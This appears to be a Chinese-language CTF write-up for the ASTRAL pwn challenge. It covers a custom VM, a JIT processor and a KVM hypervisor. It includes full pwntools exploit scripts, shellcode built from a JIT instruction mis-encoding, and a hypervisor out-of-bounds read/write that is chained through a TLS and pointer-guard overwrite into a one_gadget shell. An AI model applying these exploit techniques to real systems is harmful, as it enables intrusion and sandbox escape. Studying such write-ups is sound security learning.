题目链接https://github.com/jwang-a/CTF/tree/master/MyChallenges/Pwn/ASTRAL/
赛题分析 题目给出了5个文件夹:
APPLET(赛题设计初期对applet的设计和简单的python实现)
APPLET_PROCESSOR(赛题对applet运行时的C语言实现,以device形式连接hypervisor)
HYPERVISOR(使用kvm实现vm,支持连接device)
KERNEL(一个单进程的操作系统内核)
USER(在内核中运行的用户态程序)
所以结构是:
1 2 3 4 5 DEVICE | pipe hypercall syscall HYPERVISOR ------------- KERNEL------------USER
Nebula(Stage1, Custom vm) 本题作为Stage1,只是考察有没有理解代码。通过HYPERVISOR/const.h
我们能知道每关flag对应的位置。搜索得printflag调用链
kernelMain()→initAppletStorage()→g_applet.applets[APPLET_CNT_MAX + 3].nativeFn = appletBuiltinFlag→hp_appletspaceFlag()→hypercall(HP_APPLETSPACE_FLAG, 9)→hp_appletspaceFlag(vm)→printFlag(APPLETSPACE_FLAG_FNAME)
即我们通过invoke位置在APPLET_CNT_MAX+3的applet即可。然而,若是通过kernel syscall直接invoke会失败,原因是在KERNEL/applet.c:kAppletInvoke
处存在检查if (appletIdx >= APPLET_CNT_MAX && caller == TASK_NIL) return FAIL;
若想invoke,必须满足caller!=TASK_NIL
,即必须由另一个applet调用
注意到applet自身即可调用其他applet(操作码invoke)。运行至invoke时,processor会保存上下文,给hypervisor发送中断(APPLET_PROCESSOR/processor.c:handleAppletExit
),而中断会被传递至kernel的interruptEntry中(HYPERVISOR/interrupt.c:runInterruptHandler
)被kAppletInterupt处理。通过kAppletInvoke
调用其他applet,此时的caller就不为TASK_NIL
了。
然而,无论是register还是invoke一个applet都需要有合法的RSA签名(APPLET_PROCESSOR/processor.c:appletCheckSignature
),我们自己写的applet自然是不会被加载和调用的。好在题目已经给出了两个签名后的applet(APPLET/escrow, APPLET/lottery
),通过分析escrow,我们发现完全可以通过它调用其他的applet。第一次调用escrow初始化存储,第二次提供id就可以调用对应的applet。需要注意的是,第一次调用时将输入的8字节存储为preimage,第二次会将传入的前8字节取digest与preimage进行比较,只有比较成功才会按之后的8字节id调用对应的applet。
为了获得对应的id,我们可以自行实现digestGenerate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include<stdint.h > #include <openssl/sha.h > #define SUCCESS 0 #define FAIL 0xffffffffffffffff #define DIGEST_PAYLOAD_SIZE_MAX 0x2000 #define DIGEST_SIZE 0x20 #define SIGNATURE_SIZE 0x100 uint64_t digestGenerateHelper (uint64_t codeLen, uint8_t *code, uint8_t *n, uint8_t *e, uint8_t *nonce, uint8_t *digest ) { uint8_t payload[DIGEST_PAYLOAD_SIZE_MAX ]; if (n != NULL ) { memcpy ((uint64_t)payload, (uint64_t)n, SIGNATURE_SIZE ); } else { memset ((uint64_t)payload, '\0' , SIGNATURE_SIZE ); } if (e != NULL ) { memcpy ((uint64_t)&payload[SIGNATURE_SIZE ], (uint64_t)e, SIGNATURE_SIZE ); } else { memset ((uint64_t)&payload[SIGNATURE_SIZE ], '\0' , SIGNATURE_SIZE ); } if (nonce != NULL ) { memcpy ((uint64_t)&payload[SIGNATURE_SIZE * 2 ], (uint64_t)nonce, SIGNATURE_SIZE ); } else { memset ((uint64_t)&payload[SIGNATURE_SIZE * 2 ], '\0' , SIGNATURE_SIZE ); } memcpy ((uint64_t)&payload[SIGNATURE_SIZE * 3 ], (uint64_t)code, codeLen); SHA256 (SIGNATURE_SIZE * 3 + codeLen, payload, digest); return SUCCESS ; }
也可以直接hack进kernel(KERNEL/applet.c:initAppletStorage line26-28
),取输出即可
1 2 3 uint64_t buf; getPhysAddr ((uint64_t)appletDigest, PDE64 _RW, &buf);hp_write (1 , buf, 8 );
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from typing import Optional from hashlib import sha256context.log_level='debug' p=process(['./hypervisor' ,'./processor' ,'./kernel' ,'./user' ,'1500' ]) menu=b'leave' def sendNum (x: int ): p.sendline(str (x).encode()) def login (username: bytes , password: bytes , usernameLen: Optional [int ] = None , passwordLen = None ): if usernameLen==None : usernameLen=len (username) if passwordLen==None : passwordLen=len (password) sendNum(usernameLen) sendNum(passwordLen) p.send(username) p.send(password) def registerApplet (code: str , signature: str , codeLen: Optional [int ] = None , nonce: str = '00' *0x100 , pubn: str = '00' *0x100 , pube:str = '00' *0x100 ) -> int : assert (len (code)%2 ==0 ) if codeLen == None : codeLen=len (code)//2 sendNum(1 ) sendNum(codeLen) p.send(code.encode()) p.send(nonce.encode()) p.send(pubn.encode()) p.send(pube.encode()) p.send(signature.encode()) p.recvuntil(b': ' ) return int (p.recvuntil(b'\n' ).decode()) def invokeApplet (appid: int , data: str , dataLen: Optional [int ] = None ) -> int : assert (len (data)%2 ==0 ) if dataLen == None : dataLen=len (data)//2 sendNum(3 ) sendNum(appid) sendNum(dataLen) p.send(data.encode()) p.recvuntil(b': ' ) return int (p.recvuntil(b'\n' ).decode()) login(b'a' , b'a' ) p.recvuntil(menu) id =registerApplet('4003004119003400000000000120023001015a21440400400a00fd401c00fd56005611ff3002085a2b42f3ff27995a8944ecff281050102f90fd400100fd3009105a9b42d9ff5010590a300208278950202f90300302513e59e33700633193a9d18f5ea530011059a2fe203130000850022f825a8144a7ff51022f92270030021059b15121fefd' , '2fd4be9be84da8a203cfa80f008fe7a4b14a654d504a67f90c898da101a1527a8f8d43e1dd4eb4f0465deaf030ca2f723b269d959bfb47905f8c169d1028a5f41197b4b51c48bb85e578ea66b6bfd6e2b10d0c8b151fa8774fe91f56e9ad5ff5bff9fa5af6b0e52c08ea014b6b55115918d2d60860464d865fe2c521503fb2a4ed3a551d9c27d933d3de1d183de0e2d085166c9815843546bf6a3698a02a107ca57b6f7d329e1a3e9496ad7f1c69e069cd84947d98b241f5226db74eb018494945c21420ad2cfbfb4b2c0f586f7820794eedf2df8e7527d98873535c5d05ffb8df44c4f8b5cf3dc34515806ee7aa85cba75e1872a340435efffb13a6a395a812' , nonce='2fd4be9be84da8a203cfa80f008fe7a4b14a654d504a67f90c898da101a1527a8f8d43e1dd4eb4f0465deaf030ca2f723b269d959bfb47905f8c169d1028a5f41197b4b51c48bb85e578ea66b6bfd6e2b10d0c8b151fa8774fe91f56e9ad5ff5bff9fa5af6b0e52c08ea014b6b55115918d2d60860464d865fe2c521503fb2a4ed3a551d9c27d933d3de1d183de0e2d085166c9815843546bf6a3698a02a107ca57b6f7d329e1a3e9496ad7f1c69e069cd84947d98b241f5226db74eb018494945c21420ad2cfbfb4b2c0f586f7820794eedf2df8e7527d98873535c5d05ffb8df44c4f8b5cf3dc34515806ee7aa85cba75e1872a340435efffb13a6a395a812' )nonce=sha256(bytes .fromhex('deadbeefdeadbeef' )).hexdigest()[:16 ] invokeApplet(id , nonce) invokeApplet(id , 'deadbeefdeadbeef' +'25663ff71c330069' ) context.log_level='INFO' p.interactive()
Protostar(Stage2, JIT) 根据上文对const.h
的分析和flag引用查找可知,本题需要我们控制device向hypervisor发送特定的interrupt得到flag。
漏洞点在于JIT对mov reg, [reg]
的实现有误:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 //APPLET_PROCESSOR/jit.h #define MEM_LOAD(_APPLET_CONTEXT, _PC, _REG1, _REG2, _SIZE) { \ uint64_t MLO_asmByte; \ MEM_TRANSLATE(_APPLET_CONTEXT, _PC, _REG2, _SIZE); \ MLO_asmByte = 0x008b48 | (((_REG1) & 8) >> 1) | (((_REG1) & 7) << 19) | (((_REG2) & 8) >> 3) | (((_REG2) & 7) << 16); \ EMIT(_APPLET_CONTEXT, &MLO_asmByte, 3); /* mov reg1, [reg2] */ \ if ((_SIZE) != 8) { \ MLO_asmByte = 0x00e0c148 | (((8 - (_SIZE)) * 8) << 24) | (((_REG1) & 8) >> 3) | (((_REG1) & 7) << 16); \ EMIT(_APPLET_CONTEXT, &MLO_asmByte, 4); /* shl reg1, ((8 - size) * 8) */ \ MLO_asmByte = 0x00e8c148 | (((8 - (_SIZE)) * 8) << 24) | (((_REG1) & 8) >> 3) | (((_REG1) & 7) << 16); \ EMIT(_APPLET_CONTEXT, &MLO_asmByte, 4); /* shr reg1, ((8 - size) * 8) */ \ } \ if ((_REG1) == (_REG2)) { \ EMIT(_APPLET_CONTEXT, "\x48\x83\xc4\x08", 4); /* add rsp, 8 */ \ } else { \ HOST_POP_REG(_APPLET_CONTEXT, _REG2); /* pop reg2 */ \ } \ }
此处使用的mov
指令为mov r64, r/m64
,指令格式为REX.W + 8B /r
,题目通过更改REX.B
和ModRM:r/m
来编码第二个操作数,然而当第二个操作数为r12
或r13
时,编码格式稍有变化
r12
对应的R/M
为100,r13
对应的R/M
为101,显然在Mod为00时(即操作数为寄存器且无偏移时)他们不能被直接塞入R/M
中,取而代之应该结合REX,对于r12使用SIB byte,对于r13增加00偏移来表示
而题目没有考虑到这种情况,错误地进行了编码,例如mov rax, [r13]
被编码为49 8b 05
。我们看到在Table 2-2中,并没有给出对应的寄存器。那么这对应的指令是什么呢?
通过翻阅手册我们得知,49 8b 05 XX XX XX XX
对应的是mov rax, [rip+{int32}]
,即RIP相对寻址。因为指令长度的不同,这里JIT的错误编码给了我们构造指令错位的机会。构造时要注意寻址到合法的地址,通过调试得知需要int32为一个较小的正数(小于0x26b5f4d)。
回到漏洞点,我们发现在49 8b 05
后还有HOST_POP_REG(_APPLET_CONTEXT, _REG2)
,即pop r13
,即占用了两个字节。接下来我们翻jit.h
找一个比较小的指令,发现add
很符合需求(_OP==1
)
1 2 3 4 5 // op reg1, reg2 #define REG_OPS(_APPLET_CONTEXT, _OP, _REG1, _REG2) { \ uint64_t RPS_asmByte = 0xc00048 | ((_OP) << 8) | (((_REG1) & 8) >> 3) | (((_REG1) & 7) << 16) | (((_REG2) & 8) >> 1) | (((_REG2) & 7) << 19); \ EMIT(_APPLET_CONTEXT, &RPS_asmByte, 3); \ }
并且我们惊喜地发现,通过控制_REG2=0b101(RBP/R13)
, REG1=0b011(RBX/R11)
即可在第三个字节构造出0xeb
,即jmp rel8
指令的opcode。考虑到我们只能使用r0-r15,可以选择add r3, r13
或add r11, r13
。接下来我们构造rel8
,实际上直接使用REX
(0x48)即可,我们可以直接使用load reg, imm64
作padding,并使用其中的imm64
放置shellcode,在两段imm64
间使用jmp $+2
衔接。
最终exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *from typing import Optional from assembler import aasmcontext.log_level='debug' p=process(['./hypervisor' ,'./processor' ,'./kernel' ,'./user' ,'100000' ]) menu=b'leave' def sendNum (x: int ): p.sendline(str (x).encode()) def login (username: bytes , password: bytes , usernameLen: Optional [int ] = None , passwordLen = None ): if usernameLen==None : usernameLen=len (username) if passwordLen==None : passwordLen=len (password) sendNum(usernameLen) sendNum(passwordLen) p.send(username) p.send(password) def registerApplet (code: str , signature: str = '00' *0x100 , codeLen: Optional [int ] = None , nonce: str = '00' *0x100 , pubn: str = '00' *0x100 , pube:str = '00' *0x100 ) -> int : assert (len (code)%2 ==0 ) if codeLen == None : codeLen=len (code)//2 sendNum(1 ) sendNum(codeLen) p.send(code.encode()) p.send(nonce.encode()) p.send(pubn.encode()) p.send(pube.encode()) p.send(signature.encode()) p.recvuntil(b': ' ) return int (p.recvuntil(b'\n' ).decode()) def invokeApplet (appid: int , data: str = '' , dataLen: Optional [int ] = None ) -> int : assert (len (data)%2 ==0 ) if dataLen == None : dataLen=len (data)//2 sendNum(3 ) sendNum(appid) sendNum(dataLen) p.send(data.encode()) p.recvuntil(b': ' ) return int (p.recvuntil(b'\n' ).decode()) login(b'a' , b'a' ) p.recvuntil(menu) code=''' load <8> r0, [r13] add r11, r13 load <8> r0, 0 load <8> r0, 0 load <8> r0, 0 load <8> r0, 0 load <8> r0, 0 load <8> r0, 0 load <8> r0, 0 load <8> r0, 0x02eb00000102bf90 // nop; mov edi, 0x102; jmp 2 load <8> r0, 0x02eb54000000f368 // push 0xf3; push rsp; jmp 2 load <8> r0, 0x02eb500104c0315e // pop rsi; xor eax, eax; add al, 1; push rax; jmp 2 load <8> r0, 0x050f3cb0050f5a // pop rdx; syscall; mov al, 0x3c; syscall ''' code=aasm(code) appid=registerApplet(code.hex ()) invokeApplet(appid) p.interactive()
Redgiant(Stage3, Userspace) 还在看
Supernova(Stage4, Kernel) 还在看
Neutron(Stage5, Hypervisor) 攻击hypervisor,最先想到的就是对内存的读写操作没有进行完好的边界检查。注意到以下代码(HYPERVISOR/hypercall.c
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #define MEM_SIZE 0x4000000 #define PAGE_SIZE 0x1000 uint64_t getMem(VM *vm, uint32_t paddr, uint32_t size, void *dst) { if (paddr >= MEM_SIZE) return FAIL; memcpy(dst, &(((char*)vm->mem)[paddr]), size); return SUCCESS; } uint64_t setMem(VM *vm, uint32_t paddr, uint32_t size, void *src) { if (paddr >= MEM_SIZE) return FAIL; memcpy(&(((char*)vm->mem)[paddr]), src, size); return SUCCESS; } uint32_t hp_read(VM *vm) { HYPER_READ readArg; char buf[PAGE_SIZE]; if (getHpArg(vm, sizeof(HYPER_READ), &readArg) == FAIL) return HP_FAIL; if (readArg.fd != STDIN_FILENO) return HP_FAIL; if (readArg.size > PAGE_SIZE) return HP_FAIL; for (uint64_t cursor = 0, readSize = 0; cursor < readArg.size; cursor += readSize) { if ((readSize = read(readArg.fd, &buf[cursor], readArg.size - cursor)) <= 0) return HP_FAIL; } if (setMem(vm, readArg.paddr, readArg.size, buf) == FAIL) return HP_FAIL; return HP_SUCCESS; } uint32_t hp_write(VM *vm) { HYPER_WRITE writeArg; char buf[PAGE_SIZE]; if (getHpArg(vm, sizeof(HYPER_WRITE), &writeArg) == FAIL) return HP_FAIL; if (writeArg.fd != STDOUT_FILENO) return HP_FAIL; if (writeArg.size > PAGE_SIZE) return HP_FAIL; if (getMem(vm, writeArg.paddr, writeArg.size, buf) == FAIL) return HP_FAIL; if (write(writeArg.fd, buf, writeArg.size) != writeArg.size) return HP_FAIL; return HP_SUCCESS; }
仅对paddr
进行了越界检查,而没有检查paddr+size
是否越界。这导致我们可以实现hypervisor内存vm.mem
后0xfff大小的任意读写。根据调试可以得知,这个位置刚好是TLS的部分。先通过读得到libc_base
我们可以通过修改fs_base附近的内容,使read认为自己处在一个被cancel的线程中,从而执行exception handler。
调用链__GI__libc_read → __GI__pthread_enable_asynccancel → __do_cancel → __GI___pthread_unwind → _Unwind_ForcedUnwind(glibc) → link → _Unwind_ForcedUnwind(libgcc) → …(调不明白了) → __libc_longjmp → __longjmp_cancel
因为link时的指针都被mangle过(左移0x11异或fs:[0x30]),所以我们可以先把fs:[0x30]改为0
为了满足pthread_enable_asynccancel的条件,需要把fs:[0x18]设为1,fs:[0x308]设为8
通过修改fs:[0x300]处的结构体指针,我们可以控制执行exception handler时的寄存器,包括r8, r9, rdx(rip), rbx, r12, r13, r14, r15, rbp, rsp。通过调试可知此时r10也为0,所以我们可以直接使用one_gadget得到shell。如果没有合适的one_gadget,也可以通过ROP getshell(因为rsp可控)
具体偏移如下(rdi为fs:[0x300]处的结构体指针):
进行hypercall时,eax使用任意空闲内存地址即可,我使用了kernel的栈顶部分
对于processor,使用jmp $-2
似乎会导致hypervisor接收中断失败从而崩溃,因此我选择使其陷入IO中
最终exp:(作者给出的官方exp似乎打不通,小坑)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *from pwn import u64,p32,p64context(arch='amd64' ,log_level='debug' ,terminal=['tmux' ,'splitw' ,'-h' ]) p=process(['./hypervisor' ,'./processor' ,'./kernel' ,'./user' ,'3' ]) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) def rol (val, cnt ): return ((val << cnt) | (val >> (64 - cnt))) & ((1 << 64 ) - 1 ) sc1=asm(''' label_1: mov edi,0x100 lea rsi,[rip+0x20] mov edx,0x100 xor eax,eax syscall jmp label_1 ''' )sc2=asm(''' mov dx,0x8001 mov eax,0x5c000 mov qword ptr [rax],1 mov qword ptr [rax+8],0x3ffffff mov qword ptr [rax+0x10],0x1000 out dx, eax mov dx,0x8000 mov eax,0x5c000 mov qword ptr [rax],0 mov qword ptr [rax+8],0x3ffffff mov qword ptr [rax+0x10],0x1000 out dx, eax mov dx,0x8000 mov eax,0x5c000 mov qword ptr [rax],0 mov qword ptr [rax+8],0x3ffffff mov qword ptr [rax+0x10],0x1000 out dx, eax ''' ).ljust(0x1000 ,b'\xcc' )p.sendlineafter(b'length : ' ,str (len (sc1)).encode()) p.sendafter(b'shellcode : ' ,sc1) p.send(sc2) data=b'' while len (data)<0x1000 : data+=p.recv(0x1000 -len (data)) fs_base=u64(data[0x741 :0x749 ]) tls_base=fs_base-0x740 success('fs_base=' +hex (fs_base)) libc.address=fs_base-0x740 +0x3000 success('libc_base=' +hex (libc.address)) target=libc.address+0xebc81 data=data[:0x741 +0x18 ]+p32(1 )+data[0x741 +0x18 +4 :] data=data[:0x741 +0x300 ]+p64(tls_base)+p32(8 )+data[0x741 +0x308 +4 :] data=data[:0x741 +0x30 ]+p64(0 )+data[0x741 +0x38 :] data=data[:9 ]+p64(rol(tls_base-0x1000 ,0x11 ))+data[0x11 :] data=data[:0x31 ]+p64(rol(tls_base,0x11 ))+p64(rol(target,0x11 ))+data[0x41 :] pause() p.send(data) p.interactive()
StarryNight(Fullchain) 还在看